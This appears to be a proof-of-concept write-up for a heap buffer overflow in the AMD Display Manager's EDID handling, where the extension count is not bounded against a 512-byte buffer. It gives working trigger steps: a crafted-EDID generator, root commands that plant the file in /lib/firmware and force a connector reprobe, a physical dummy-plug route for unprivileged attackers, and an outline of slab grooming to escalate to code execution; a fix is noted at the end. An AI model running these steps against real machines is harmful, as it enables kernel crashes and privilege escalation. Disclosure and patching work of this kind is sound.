# DF-1837 PoC

Trigger: feed a crafted EDID (extensions > 3) to the AMD Display Manager.
`dm_helpers_read_local_edid` computes
`dc_edid.length = EDID_LENGTH * (edid->extensions + 1)` without bounding
against `DC_MAX_EDID_BUFFER_SIZE = 512`, then `memmove`s that many bytes into
the 512-byte `raw_edid` array inside the heap-allocated `dc_sink`.

## Preconditions

* `device amdgpu` with Display Manager enabled (default).
* One of:
  - Physical access (any user): an EDID-emulator dummy plug flashed with
    `crafted_edid.bin` plugged into any HDMI/DVI/DP/USB-C-DP-alt port.
  - Root: `drm.edid_firmware=<name>` pointing at `crafted_edid.bin` in the
    firmware search path, then force a connector reprobe.

## Generate the EDID

```
python3 gen_edid.py 4 crafted_edid.bin
# extensions=4 -> memmove length = 128*5 = 640 > 512 -> 128-byte overflow
```

## Hardware-free trigger (root)

```
# Install the EDID where drm_load_edid_firmware can find it:
sudo mkdir -p /lib/firmware/edid
sudo cp crafted_edid.bin /lib/firmware/edid/df1837.bin
# Force a reprobe:
sudo sh -c 'echo detect > /sys/class/drm/card0-HDMI-A-1/status'
# Or: xrandr --output HDMI-A-1 --off ; xrandr --output HDMI-A-1 --auto
```

## Hardware trigger (unprivileged physical)

Flash `crafted_edid.bin` onto an EDID-emulator HDMI/DP dummy plug
(AT24C02/AT24C16 I2C EEPROM), plug into the target. Hotplug triggers the probe.

## Expected output

DoS floor: kernel panic / SLUB corruption / refcount underflow with
`dm_helpers_read_local_edid` on the backtrace:

```
BUG: unable to handle kernel paging request at <corrupted addr>
...
dm_helpers_read_local_edid+0x.. at 0x..
...
```

Escalation: slab-groom the kmalloc-1k bucket with victim objects containing
function-pointer-like members, trigger the probe → overflow → corrupt the
victim → next ioctl on the victim jumps to a controlled gadget. Full chain is
environment-specific; a KASAN report or a panic rooted at
`dm_helpers_read_local_edid` validates the bug.

## Fix

See `fix.diff` and the finding markdown: cap
`EDID_LENGTH * (edid->extensions + 1)` at `DC_MAX_EDID_BUFFER_SIZE` and
reject oversized EDIDs, mirroring dc.c:1774.